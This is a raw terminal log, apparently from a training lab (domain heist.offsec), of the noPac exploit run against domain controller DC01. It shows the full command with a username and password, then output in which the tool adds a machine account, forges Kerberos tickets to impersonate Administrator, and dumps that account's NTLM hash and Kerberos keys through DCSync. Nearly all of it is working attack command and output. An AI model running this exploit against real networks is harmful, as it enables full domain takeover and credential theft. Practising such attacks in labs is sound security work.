python noPac.py heist.offsec/enox:california -dc-ip 192.168.241.165 -dc-host DC01 --impersonate Administrator -dump -just-dc-user Administrator -use-ldap
███ ██ ██████ ██████ █████ ██████
████ ██ ██ ██ ██ ██ ██ ██ ██
██ ██ ██ ██ ██ ██████ ███████ ██
██ ██ ██ ██ ██ ██ ██ ██ ██
██ ████ ██████ ██ ██ ██ ██████
[*] Current ms-DS-MachineAccountQuota = 10
[*] Selected Target DC01.heist.offsec
[*] will try to impersonate Administrator
[*] Adding Computer Account "WIN-1INBA7FFXVS$"
[*] MachineAccount "WIN-1INBA7FFXVS$" password = WXlyzE%)3WZm
[*] Successfully added machine account WIN-1INBA7FFXVS$ with password WXlyzE%)3WZm.
[*] WIN-1INBA7FFXVS$ object = CN=WIN-1INBA7FFXVS,CN=Computers,DC=heist,DC=offsec
[*] WIN-1INBA7FFXVS$ sAMAccountName == DC01
[*] Saving a DC's ticket in DC01.ccache
[*] Reseting the machine account to WIN-1INBA7FFXVS$
[*] Restored WIN-1INBA7FFXVS$ sAMAccountName to original value
[*] Using TGT from cache
[*] Impersonating Administrator
[*] Requesting S4U2self
[*] Saving a user's ticket in Administrator.ccache
[*] Rename ccache to Administrator_DC01.heist.offsec.ccache
[*] Attempting to del a computer with the name: WIN-1INBA7FFXVS$
[-] Delete computer WIN-1INBA7FFXVS$ Failed! Maybe the current user does not have permission.
[*] Pls make sure your choice hostname and the -dc-ip are same machine !!
[*] Exploiting..
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:b325100ee400c16d56c42f9685381139:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:d4e135e862ea6eae8575861230af84537d6dfa12720e328644822c20b2e911bf
Administrator:aes128-cts-hmac-sha1-96:8a9270d02cbbf911389a41b84af0cc5c
Administrator:des-cbc-md5:f84ae602a7c776b9
[*] Cleaning up...